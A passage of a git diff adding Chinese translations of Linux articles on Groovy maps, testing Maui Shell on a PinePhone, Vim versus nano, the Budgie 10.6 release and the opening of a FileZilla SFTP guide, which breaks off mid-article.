`m3`,你会看到: + +``` +m3 = {BB=Barbados, BD=Bangladesh, AD=Andorra, AF=Afghanistan, AG=Antigua and Barbuda, BH=Bahrain, AI=Anguilla, AL=Albania, AM=Armenia, AO=Angola, AQ=Antarctica, BS=Bahamas, AR=Argentina, AS=American Samoa, AT=Austria, AU=Australia, DZ=Algeria, AW=Aruba, AX=Åland Islands, AZ=Azerbaijan} +``` + +而当你运行 Groovy 版本的代码,你会看到: + +``` +m1 = [AF:Afghanistan, AX:Åland Islands, AL:Albania, DZ:Algeria, AS:American Samoa, AD:Andorra, AO:Angola, AI:Anguilla, AQ:Antarctica, AG:Antigua and Barbuda, AR:Argentina, AM:Armenia, AW:Aruba, AU:Australia, AT:Austria, AZ:Azerbaijan, BS:Bahamas, BH:Bahrain, BD:Bangladesh, BB:Barbados] +``` + +再一次,你将看到 Groovy 是如何简化事情的。这样的语法非常直观,有点像 Python 里的字典,并且,即使你有一个超过 10 个键值对的初始列表,你也不需要去记住各种必要的别扭方式。注意我们使用的表达式: + +``` +m1[“BY”] = “Belarus” +``` + +而在 Java 中,你需要这样做: + +``` +m1.put(“BY”, “Belarus”) +``` + +还有,这个映射默认是可变的,这么做的利弊很难评判,还是得取决于你的需求是什么。我个人觉得,Java 在这种情况下的 “默认不可变” 机制,最让我困扰的地方是,它没有一个类似于 `Map.mutableOfMutableEntries()` 的方法。这迫使一些刚学会如何声明和初始化一个映射的程序员,不得不转念去思考该如何把他们手中不可变的映射,转换为可变的。同时我也想问,创建一个不可变的对象然后再舍弃它,这样真的好吗? + +另一个值得考虑的事情是,Groovy 使用方括号代替 Java 中的 `put()` 和 `get()` 方法来进行关键字查找。因此你可以这样写: + +``` +m1[“ZZ”] = m1[“BY”] +``` + +而不需要这样写: + +``` +m1.put(“ZZ”,m1.get(“BY”)) +``` + +有时候,就像使用某个类的实例变量一样来使用映射中的关键字和值是一个好办法。设想你现在有一堆想要设置的属性,在 Groovy 中,它们看起来就像下面这样: + +``` +def properties = [ +      verbose: true, +      debug: false, +      logging: false] +``` + +然后,你可以改变其中的某个属性,就像下面这样: + +``` +properties.verbose = false +``` + +之所以这样能工作,是因为,只要关键字符合特定的规则,你就可以省略引号,然后直接用点操作符来代替方括号。尽管这个功能非常有用,也非常好用,它也同时也意味着,如果你要把一个变量作为一个映射的关键字来使用,你就必须把这个变量包裹在圆括号里,就像下面这样: + +``` +def myMap = [(k1): v1, (k2): v2] +``` + +是时候告诉勤奋的读者 Groovy 是一门为编写脚本而量身定制的语言了。映射通常是脚本中的关键元素,它为脚本提供了查找表lookup table,并且通常起到了作为内存数据库的作用。我在这里使用的例子是 ISO 3166 规定的两个字母的国家代码和国家名称。对在世界上各个国家的互联网使用者来说,这些代码是很熟悉的。此外,假设我们要编写一个从日志文件中查找互联网主机名,并借此来了解用户的地理位置分布的脚本工具,那么这些代码会是十分有用的部分。 + +### Groovy 相关资源 + +[Apache Groovy 网站][10] 上有非常多的文档。另一个很棒的 Groovy 资源是 [Mr. Haki][11]。[Baeldung 网站][12] 提供了大量 Java 和 Groovy 的有用教程。学习 Groovy 还有一个很棒的原因,那就是可以接着学习 [Grails][13],后者是一个优秀的、高效率的全栈 Web 框架。它基于许多优秀组件构建而成,比如有 Hibernate、Spring Boot 和 Micronaut 等。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/maps-groovy-vs-java + +作者:[Chris Hermansen][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) +[2]: https://opensource.com/article/22/1/creating-lists-groovy-java +[3]: https://opensource.com/article/22/2/accumulating-lists-groovy-vs-java +[4]: https://en.wikipedia.org/wiki/Associative_array +[5]: https://sdkman.io/ +[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+map +[7]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system +[8]: https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Map.html +[9]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string +[10]: https://groovy-lang.org/ +[11]: https://blog.mrhaki.com/ +[12]: https://www.baeldung.com/ +[13]: https://grails.org/ diff --git a/published/202203/20220305 I Tested The New Maui Shell On My Linux Phone. Here-s What I Found.md b/published/202203/20220305 I Tested The New Maui Shell On My Linux Phone. Here-s What I Found.md new file mode 100644 index 0000000000..235001c096 --- /dev/null +++ b/published/202203/20220305 I Tested The New Maui Shell On My Linux Phone. Here-s What I Found.md @@ -0,0 +1,177 @@ +[#]: subject: "I Tested The New Maui Shell On My Linux Phone. Here’s What I Found!" +[#]: via: "https://news.itsfoss.com/tested-maui-shell/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14331-1.html" + +在 Linux 手机上测试了新的 Maui Shell 后我发现…… +====== + +> 我在 PinePhone 上测试了 Maui Shell,结果有好有坏。如果你想冒险尝鲜一下,可以按照这个说明进行试验! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/maui-shell.png?w=1200&ssl=1) + +就在一个多月前,我们写了 [Maui Shell 初窥][1]。它是由 Nitrux Linux 团队开发的,我对它流畅的视觉效果,特别是它的融合功能印象深刻。 + +同时,我结束了 [我一年的 PinePhone 日用实验][2],这意味着它可以再次自由地进行实验。结果,我很快就自己安装了 Maui Shell,花了不少时间来测试它。 + +下面是我的发现! + +### 关于 Maui Shell 开发状态的简短说明 + +在我们开始之前,我想指出,Maui Shell 仍处于早期开发阶段。因此,我一般不会提到我注意到的 bug,而是将重点放在它的更基本的方面。 + +不过,对于更大的、更耗时的问题例外,所以请记住这一点。 + +说完了这些,让我们开始测试吧! + +### 手机上的 Maui Shell + +![][3] + +安装完之后,我就看到了 Maui Shell 的(现在熟悉的)桌面上。随即,非常明显的是,它的缩放比例完全错误,这使得它很难使用。 + +幸运的是,Maui 项目的 Telegram 群组的人提供了极大帮助,我没用了一个小时就成功地修复了缩放比例(感谢 @wachidadinugroho)。 + +现在好了,我开始测试。 + +#### 其性能堪比糖浆流动 + +如果你读过我的 PinePhone 点评,你可能记得把它的性能比作糖蜜滴落的速度。不幸的是,Maui Shell 将这一点提升到了一个全新的高度。即使是最基本的互动,如打开快速控制菜单,也要花上五秒钟的时间! + +不幸的是,我的水平还不足以判断这种缓慢的原因,但它很有可能是由软件渲染造成的。如果你不清楚,“软件渲染”是指图形不在 GPU 上渲染,而是在效率和优化程度都更低的 CPU 上(利用软件来)渲染。 + +我考虑的另一个可能的罪魁祸首是糟糕的优化(毕竟它还处在早期阶段)。如果是这样的话,那么在未来的几个月里,极有可能在为 Maui Shell 的第一个稳定版本做准备的过程中修复这个问题。 + +然而,正如我之前所说的,对我的早期看法要多加注意。 + +#### 有望实现的用户体验 + +![][4] + +与几乎所有的移动 UI 一样,Maui Shell 在触摸屏上使用起来简单而直观。然而,它也结合了许多桌面元素,这对提高用户体验有很大的作用。 + +例如,从屏幕顶部向下滑动会出现一个快速设置菜单,类似于在安卓和 iOS 上发现的那些。 + +然而,可以单独点击顶部通知栏的不同部分,会只显示相关的设置,类似于许多桌面环境面板和任务栏上的各种小程序。 + +现在,让我们前往 **窗口管理**。 + +对于窗口管理,Maui Shell 团队显然从 GNOME 和 iOS 中获得了一些灵感,从屏幕底部向上滑动会显示一个类似 GNOME 的所有运行中的应用程序的概览。我发现这非常直观和简单,老实说,我很惊讶以前没有这样操作过! + +最后,托盘也是 Maui Shell 在手机上的一个重要方面。它在默认情况下自动隐藏,可以通过从屏幕底部向上轻扫来访问。从这里,它显示了所有正在运行的应用程序的图标,以及一个打开应用程序启动器的按钮。 + +说到应用启动器,它与 iOS 14 及更高版本中的应用库非常相似。每个应用都被分类,只需轻点几下就能轻松找到并启动。 + +总的来说,其实用性有点独特,而且值得探究。而且,这种特性也延伸到了应用程序,它们是用 Mauikit 和 Kirigami 制作的。 + +我认为 Maui Shell 团队把基本的东西做得很完美。 + +#### 应用程序超棒 + +![][5] + +任何用 Mauikit 构建的东西都能与 Maui Shell 完美整合。到目前为止,最大的 Mauikit 应用程序集来自 Maui Shell 的开发方 Maui 项目。其中一些包括: + + * Index + * Nota + * Station + * VVave + * Pix + * Clip + * Buho + * Shelf + * Communicator + +所有这些应用都能在移动和桌面设备上完美运行,并将桌面级应用带到手机上。我对 [Index][6] 特别满意,它是一个有趣而实用的手机文件管理器。 + +![Maui Index app][7] + +除了 Mauikit 应用外,Kirigami 应用也很好用。因此,在桌面和移动设备上都有一个非常适合 Maui Shell 的庞大的应用程序库。 + +### 其他观点 + +除了这些观察之外,还有一些小问题我想提一下: + + * 不幸的是,现在似乎还没有虚拟键盘。我通过使用 USB-C 连接的键盘来规避这个问题,但这并不意味着不能把它作为手机使用。 + * 我还发现了几个缩放的问题,我无法解决这些问题。这些问题包括应用程序的缩放比例远远超过 Maui Shell 本身,以及根本没有缩放比例。这也许是由于我的错误造成的,但我觉得不能指望一般的用户能够钻研晦涩的 Qt 专用环境变量。 + +### 自己测试 Maui Shell + +如果所有这些问题都不影响你,那么你可以使用下面的说明在 PinePhone 上测试 Maui Shell。需要注意的是,这些都是针对 PinePhone 的,但也可以根据其他需要进行修改: + + * 下载 [Arch Linux ARM][8] 并刷入到 SD 卡上 + * 用 SD 卡启动,并连接一个外部键盘 + * 使用凭证 `alarm`/`123456` 登录 + * 现在使用 `nmtui` 连接到 Wi-Fi,并使用 `sudo pacman -Syu` 更新软件包列表 + * 运行以下命令(这些命令将需要很长的时间来运行): + + ``` + sudo pacman -S base-devel + git clone https://aur.archlinux.org/packages/maui-shell-git + git clone https://aur.archlinux.org/packages/mauikit-git + cd mauikit-git + makepkg -Asi + cd .. + cd maui-shell-git + makepkg -Asi + ``` + + * 使用 [nano][9] 创建一个启动脚本: + + ``` + cd + nano start.sh + ``` + + 输入如下内容: + + ``` + + #!/bin/sh + + # in case it's not detected + # or you wish to override + # + # export QT_QPA_EGLFS_PHYSICAL_WIDTH=480 + # export QT_QPA_EGLFS_PHYSICAL_HEIGHT=270 + + export QT_QPA_PLATFORM=eglfs + export QT_AUTO_SCREEN_SCALE_FACTOR=0 + export QT_SCALE_FACTOR=2 + cask -r -plugin libinput + ``` + + * 使脚本可执行:`chmod +x start.sh`。 + +现在,可以用 `./start.sh` 启动 Maui Shell 了。 + +就这样! + +你对 Maui Shell 有什么看法?你认为它的融合功能有用吗?请在下面的评论中告诉我们! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tested-maui-shell/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14136-1.html +[2]: https://linux.cn/article-14235-1.html +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/maui-shell-phone.jpg?resize=1568%2C645&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/maui-shell-phone-edited.jpg?w=445&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/Maui-Apps-edited.png?w=902&ssl=1 +[6]: https://mauikit.org/apps/index/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/maui-index-app.png?w=1200&ssl=1 +[8]: https://github.com/dreemurrs-embedded/Pine64-Arch/releases +[9]: https://news.itsfoss.com/gnu-nano-6-0-released/ diff --git a/published/202203/20220305 Vim vs Nano- What Should You Choose.md b/published/202203/20220305 Vim vs Nano- What Should You Choose.md new file mode 100644 index 0000000000..83078d36e9 --- /dev/null +++ b/published/202203/20220305 Vim vs Nano- What Should You Choose.md @@ -0,0 +1,260 @@ +[#]: subject: "Vim vs Nano: What Should You Choose?" +[#]: via: "https://itsfoss.com/vim-vs-nano/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14328-1.html" + +Vim 与 nano:你应该选择哪个? +====== + +我们需要利用文本编辑器来做笔记、写程序,或者编辑系统配置文件来完成一些事情。 + +不管你用来做什么,你的 Linux 发行版已经预装了文本编辑器。 + +你很可能会注意到一些 [最好的现代文本编辑器][1],如 Gedit、Geany、Kate 等,它们已经预装在你的 Linux 发行版中。然而,这些都是基于 GUI 的程序。 + +如果你想通过终端访问文本编辑器怎么办?你应该发现它也内置在你的 Linux 发行版中了。 + +![][2] + +Vim 和 nano 是最流行的 [CLI 文本编辑器][3] 之二。 + +但是,是什么让它们如此受欢迎?你应该选择哪个作为你的文本编辑器?让我指出一下 Vim 和 nano 的区别,以帮助你决定。 + +### 1、基于终端的编辑器介绍 + +nano 和 Vim 都提供了大部分的基本功能。虽然 nano 在大多数 Linux 发行版上是内置的,但你必须手动安装 Vim。 + +为了比较这两者,让我给你简单介绍一下这两者。 + +#### Vim + +![][4] + +Vim 是 “Vi” 文本编辑器的改进版,开发于 1991 年。Vim 是 “Vi 改进版Vi IMproved” 的意思。 + +Vi 是一个基于终端的文本编辑器,最初于 1976 年为 Unix 操作系统而开发。Vim 是它的一个具有现代功能的增强版。 + +考虑到它的各种功能可以帮助编辑程序文件,它也被称为“程序员的文本编辑器”。虽然它提供了一些高级功能,但你也可以用来编辑纯文本文件。 + +#### GNU nano + +![][5] + +GNU nano(我们在文章中称它为 “nano”)是一个简单的基于终端的文本编辑器,其灵感来自于 Pico —— 这个基于 Unix 的文本编辑器是华盛顿大学 1989 年开发的 Pine 电子邮件套件的一部分。 + +Pico 文本编辑器没有 GPL(许可证),这使得它很难被纳入 Linux 发行版。 + +因此,nano 被开发出来作为它的自由软件替代品。nano 编辑器最初被称为 “tip”,然后在 Richard Stallman 宣布它成为正式的 GNU 程序之前重新命名为 nano。 + +这个编辑器的亮点是它的易用性和极小的学习曲线。你不一定需要成为程序员才能使用 nano。 + +### 2、功能差异 + +下面是 Vim 和 nano 的主要功能差异: + +#### Vim 的主要特点 + + * 多级撤销 + * 语法高亮 + * 命令行编辑 + * 文件名补完 + * 多窗口和缓冲区 + * 折叠 + * 会话 + * 支持宏 + +#### nano 的主要特点 + + * 打开多个文件 + * 逐行滚动 + * 撤销/重做 + * 语法着色 + * 行号 + +请注意,一般来说,Vim 提供了更高级的功能。然而,它们都提供了编辑系统配置文件、编程和文本编辑等基本功能。 + +### 3、用作文本编辑器 + +在 Vim 或 nano 中打开一个文件很简单,只要输入你想使用的编辑器的名字,然后再输入文件的路径。路径可以是文件的绝对路径,也可以是文件的相对路径。 + +``` +vim Documents/text.txt +``` + +``` +nano Documents/text.txt +``` + +但是,除了用作文本编辑器访问或打开一个文件之外,还有很多功能,对吗? + +如果你想快速比较一下,这里有一些基于我的使用情况的比较点: + +Vim: + + * 模式驱动的编辑器 + * 在开始时有巨大的学习曲线 + * 会话恢复 + * 语法高亮/着色 + * 提供高级功能 + +nano: + + * 易于使用(经常使用的功能及其组合键列在底部) + * 不存在学习曲线 + * 旨在进行快速编辑 + +nano 和 Vim 的主要区别在于,它们的目标受众非常不同。 + +#### Vim + +Vim 是一个模式驱动的编辑器。这意味着字母、数字和标点符号键在按下时都要做一件独特的事情,而不是在屏幕上打出一个字符。 + +这些模式包括: + + * 正常模式 + * 视觉模式 + * 插入模式 + * 命令行命令 + * 命令行编辑 + +默认情况下,当你启动 Vim 时,它以 **正常** 模式打开。每个键都有其独特的功能,不会立即开始输入所按下的字符。 + +不管什么模式,如果你愿意,你也可以 [把 Vim 配置成一个写作工具][6]。 + +要知道更多关于这些有趣的事情,你可以参考我们关于 [基本 Vim 命令][7] 以及 [Vim 技巧和窍门][8] 的文章。 + +![当你启动 Vim(无参数)时的终端屏幕][9] + +在正常模式下,按特定的键会移动你的光标。 + +例如,如果你按下 `l`(小写字母 L),它将把光标向右移动一个字符,按 `h` 键将把光标向左移动一个字符。 + +如果你想把光标向下移动一行,你就按 `j` 键,如果要把光标向上移动一行,你应该按 `k` 键。 + +在正常模式下 `l`、`k`、`j`、`h` 是导航键。虽然你可以用方向键来移动,但这样做更有效率。 + +这些是 Vim 中的基本导航键。 + +接下来最常用的键是 `w`、`b`、`e`: + + * 按 `w` 键可将光标移到下一个词。如果它已经在一个词的开头,它就会移动到下一个词的开头。 + * 按 `b` 键,光标会移到左边的词的开头。 + * 而 `e` 键,则将光标移到右边的词的末尾。 + +你甚至可以用这些键混合数字(作为前缀)。例如,按 `6w` 可以将光标向前(向右)移动六个词。 + +如果你想进入一个模式,你必须按类似的组合键: + + * `i` 为插入模式 + * `CTRL+C` 回到正常模式 + * `:wq` 写入文件并关闭窗口。 + +最后,我们已经 [列出了退出 Vim 的多种方法][10],如果你想了解一下的话。 + +这只是冰山一角。要学习更多关于 Vim 的知识,你可以使用`vimtutor` 命令,它可以给你提供大多数基本命令的信息,如删除、编辑、保存文件等。 + +![][11] + +#### GNU nano + +nano 有一个基本的交互界面,在窗口的底部给你提供关键信息。 + +要想有个初步的了解,你可以参考我们的 [nano 编辑器指南][12]。 + +![Terminal screen when you launch nano \(without arguments\)] [13] + +你不需要参考手册页或任何文档来执行基本操作。这就是为什么与 Vim 相比,nano 被认为是用户友好的。 + +尽管如此,nano 中使用的一些术语仍然是“旧术语”,一个例子是 “写出Write Out”、“在哪里Where Is”短语,而不是分别用“保存Save”和“查找Find”。 + +但是,这并不是什么大问题。 + +虽然很容易习惯,但它与使用记事本或 Gedit(GUI 程序)并不完全相同。 + +例如,在大多数现代编辑器中,执行剪切操作的组合键通常是 `Ctrl + X`,但在 nano 中,它是 `Ctrl + K`。 + +符号 `^` 是用来表示将 `Ctrl` 键作为修饰键使用,并与旁边的键组合使用。 + +你还可以找到像 `Ctrl + F`(将光标向前移动)、`Ctrl + B`(将光标向后移动)这样的组合键。一些快捷键包括: + + * `Ctrl + X` 退出 + * `Ctrl + O` 写入(或保存为) + * `Alt + U` 撤销上一个动作 + * `Ctrl + ←` 向后退一个字 + * `Ctrl + →` 向前进一个字 + +你可以看看 [GNU nano 的官方速查表][14] 来学习更多的快捷键。 + +总的来说,nano 是一个更适合初学者的编辑器,当你只想偶尔编辑一个文件时,它可以简单地让你完成。 + +### 4、学习曲线 + +考虑到上面的所有信息,你一定已经意识到 Vim 与你所习惯的传统文本编辑器不同。 + +这是真的,这就是为什么 Vim 在学习的初始阶段会显得很艰难。 + +然而,对于高级用户来说,使用宏、自动补完等高级能力很重要,可以节省时间。 + +因此,如果你是一个程序员,或者碰巧经常编辑许多文件,Vim 的学习曲线可能是富有成效的。 + +另一方面,nano 提供了极小的学习曲线,而且感觉比基于图形用户界面的文本编辑器如 Gedit 或 Notepad 更让你熟悉。 + +### 哪个是最适合你的? + +Vim 和 nano 都是合格的基于终端的文本编辑器。但是,当涉及到你如何与上述编辑器互动和使用时,它们有很大的不同。 + +Vim 很灵活,可以适应各种工作流程,前提是你已经习惯了它的工作方式。 + +相比之下,nano 工作起来很简单,可以帮助你编辑任何你想要的东西。 + +如果你还不确定,我建议先开始使用 nano。而且,如果你认为你需要更快地完成工作,并且想要更多的功能,那么就换成 Vim。 + +### 常见的问题 + +继续,让我来谈谈几个问题,这将有助于你获得一个良好的开端。 + +**Vim 比 nano 好吗?** + +从技术上讲,是的。但是,如果你不需要它提供的所有功能,使用起来可能会感到力不从心。 + +**程序员是否使用 Vim?** + +系统管理员和程序员喜欢 Vim 的高级功能。所以,是的,他们倾向于使用它。 + +**nano 是否更受欢迎?** + +可以说是的。nano 是一个基于终端的编辑器,被大多数用户使用。此外,它还内置在大多数 Linux 发行版中。 + +因此,它在用户中普遍受欢迎,而 Vim 仍然是一个为特定人群服务的编辑器。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/vim-vs-nano/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vim-vs-nano.png?resize=800%2C450&ssl=1 +[3]: https://itsfoss.com/command-line-text-editors-linux/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/vim-screenshot.jpg?resize=800%2C520&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/nano-editor-screenshot.jpg?resize=800%2C524&ssl=1 +[6]: https://news.itsfoss.com/configuring-vim-writing/ +[7]: https://linuxhandbook.com/basic-vim-commands/ +[8]: https://itsfoss.com/pro-vim-tips/ +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/01_vim_interface.webp?resize=800%2C430&ssl=1 +[10]: https://itsfoss.com/how-to-exit-vim/ +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/vimtutor.png?resize=777%2C519&ssl=1 +[12]: https://itsfoss.com/nano-editor-guide/ +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/03_nano_interface.webp?resize=800%2C430&ssl=1 +[14]: https://www.nano-editor.org/dist/latest/cheatsheet.html diff --git a/published/202203/20220307 Budgie 10.6 is Here as its First Release Under the New Organization.md b/published/202203/20220307 Budgie 10.6 is Here as its First Release Under the New Organization.md new file mode 100644 index 0000000000..6eaebff964 --- /dev/null +++ b/published/202203/20220307 Budgie 10.6 is Here as its First Release Under the New Organization.md @@ -0,0 +1,99 @@ +[#]: subject: "Budgie 10.6 is Here as its First Release Under the New Organization" +[#]: via: "https://news.itsfoss.com/budgie-10-6-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14349-1.html" + +有了新家的 Budgie 发布了第一个新版本 +======= + +> 在一个新组织的管理下, Budgie 10.6 发布在一个新的仓库,进行了一些令人印象深刻的改进。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/budgie-10-6-release.png?w=1200&ssl=1) + +早在今年一月份,Solus 的前联合负责人 Joshua Strobl 在离开 Solus 后去 SerpentOS 工作的传闻成为了新闻头条。 + +你可以在我们的 [原始报道][1] 中阅读更多关于它的内容。 + +然而,他仍然想为 Budgie 桌面环境工作,所以他(在一个新的仓库中)复刻了这个项目,并成立了 Buddies Of Budgie 组织。三个月后,这个组织变化后的第一个版本已经到来,我们将在这里看看它。 + +### Budgie 10.6 的新变化 + +![][2] + +鉴于这是自上述组织结构调整后的第一个版本,它的功能变化相当少。尽管如此,这里有一个关于新内容的总体总结: + + * 完善的主题设计 + * 新的通知系统 + * 代码重新格式化 + +在最新更新的公告中,Joshua 还提到: + +> Budgie 10.6 旨在弥合 Budgie 传统的“下游”消费者和开发组织本身之间的鸿沟,使像 Ubuntu Budgie 这样的下游能够更密切地参与到它的开发当中。 +> +> 作为我们的核心支柱之一,即成为一个平台而不是一个产品,Budgie 10.6 和未来的 Budgie 版本的目标是提供一个宏观世界,或一组最小的紧密耦合的组件,并将生态系统的其余部分留给下游消费者的决策和价值观,无论它是发行版还是终端用户。 + +所以,如果你担心 Budgie 桌面环境在分裂后的发展,这应该能让你放心了。 + +#### 主题改进 + +![][3] + +看起来,这个版本的主题改进基本上是为了提高一致性,做一些细节的改变,以获得现代的外观。 + +例如,边框圆角已经应用于一些桌面元素,统一的间距,统一的小工具的颜色方案,以及对 GTK 主题支持的其他改进。 + +从我对这个版本的亲身体验来看,这些变化是细微的,但也能让人感受到,而且确实感觉到它们使 Budgie 更能与 GNOME 和 KDE 等桌面相提并论。 + +#### 新的通知系统 + +虽然不是很明显,但 Budgie 现在已经有了一个新的通知系统。其最大的影响是它现在已经从位于屏幕右侧的面板 Raven 中移出。 + +因此,其他 Budgie 组件现在可以使用新的通知系统。一个提到的例子是“解锁未来在图标任务列表中支持通知徽章的能力”。 + +同样,虽然此变化很小,但确实打开了未来的可能性,希望我们能在未来的版本中看到这些带来的变化。 + +#### 其他改进措施 + +Budgie 10.6 一些其他的变化包括: + + * 使用制表符而不是空格,对一些代码进行了常规的重新格式化。 + * 重新引入对 GNOME 40 的支持,以启用 Ubuntu LTS 支持。 + * 将 GNOME 控制中心重新命名为 Budgie 控制中心。 + * 修复了扩大 Raven 缩略图导致 Raven 本身调整大小的问题。 + +如果你想了解更多,你可以在 [GitHub][4] 上找到发布公告,以获得完整的新功能列表。 + +- [Budgie 10.6][5] + +### 获得 Budgie 10.6 + +如果你想获得 Budgie 10.6,最好是先等待你的发行版将其打包。如果你使用的是 Arch,这可能需要不到一周的时间,而 Ubuntu 及其衍生版本则需要更长时间。 + +对于那些喜欢冒险的人来说,你也可以尝试编译它,但如果你愿意尝试,你可能已经知道如何做了。 + +总的来说,Budgie 10.6 看起来是一个值得关注的版本,特别是考虑到其重大的组织变化。 + +你对 Budgie 10.6 的变化有什么看法?请在下面的评论中告诉我们吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/budgie-10-6-release/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/solus-co-lead-resign-budgie-serpent/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/budgie-10.61.png?resize=1568%2C882&ssl=1 +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/budgie-10.6-theming.jpg?w=1159&ssl=1 +[4]: https://github.com/BuddiesOfBudgie/budgie-desktop/releases/tag/v10.6 +[5]: https://github.com/BuddiesOfBudgie/budgie-desktop/releases/ diff --git a/published/202203/20220307 Using FileZilla for Connecting to SFTP Server Via GUI.md b/published/202203/20220307 Using FileZilla for Connecting to SFTP Server Via GUI.md new file mode 100644 index 0000000000..9159514c01 --- /dev/null +++ b/published/202203/20220307 Using FileZilla for Connecting to SFTP Server Via GUI.md @@ -0,0 +1,160 @@ +[#]: subject: "Using FileZilla for Connecting to SFTP Server Via GUI" +[#]: via: "https://itsfoss.com/filezilla-ubuntu/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14410-1.html" + +使用 FileZilla 以图形界面连接 SFTP 服务器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/29/164256iljy9w3n053qv28x.jpg) + +如果你问那些极客系统管理员,他们会肯定的说使用 [rsync 或者 scp 命令在远程服务器和本地系统之间传输文件][1]。 + +然而,这些都是命令行方式,并不是每个人都能用起来感到舒适。 + +谢天谢地的是,有一些图形化工具能够让你从远程服务器来传输文件。 + +[FileZilla][2] 是一个流行的、跨平台的传输文件为目的开源软件。它支持使用通过 TLS 或者 SSL 加密的 FTP 协议(FTPS),也支持借助 SSH 的 FTP 协议,以及旧的 FTP 协议。 + +让我展示怎样在 Linux 上安装 FileZilla 然后用它来文件传输。 + +那么,让我们开始吧! + +### 在 Ubuntu 和其他 Linux 发行版上安装 FileZilla + +你可以使用源码来安装,但是还是建议使用你的发行版提供的软件包。因为它是一个热门软件,它应该在许多 Linux 发行版(即便不是全部)的软件仓库中可用。请使用你的发行版的软件中心和包管理器来安装。 + +在 Ubuntu 上,你可以从软件中心来安装它: + +![FileZilla is available in the Ubuntu Software Center][3] + +你也可以使用命令行的方式来安装它: + +``` +sudo apt install filezilla +``` + +如果你看到 [软件包不存在的错误][4],你应该 [开启 Universe 仓库][5]。 + +一旦安装成功,打开菜单(通过按 `Super` 键),键入 “FileZilla”来启动它。 + +![Start FileZilla from the system menu][6] + +### 使用 FileZilla + +第一次使用 FileZilla 时,你将会看到如下图所示的一个界面: + +![Screenshot of FileZilla running][7] + +左边窗口显示来自你本地系统的文件和目录。右边窗口显示目前是空的。当你连接到远程服务器时,来自你的远程系统的文件会显示在这里。 + +在我向你展示之前,让我分享一下关于理解 FileZilla 图形界面重要方面的一些细节。 + +#### 了解 FileZilla 图形界面 + +下图总体上给你展示了 FileZilla 窗口布局的不同部分。 + +![FileZilla Window Layout | image credit][8] + +图形界面由 6 个不同的区域/窗口来组成。让我简短的给你解释一下: + +**1、工具栏**:它有许多选项,如打开站点管理器、刷新本地和远程目录文件和文件列表、开始处理当前的文件传输队列、停止正在传输的任务并取消队列中的文件,等等。 + +**2、快速连接栏**:顾名思义,它允许你快速连接到一个远程站点,除了主机名、用户名、密码和端口之外,不需要指定更多细节。 + +**3、消息日志**:它显示了一个日志,不论你连接成功与否。错误消息标记为红色,正常消息为白色,命令是蓝色。 + 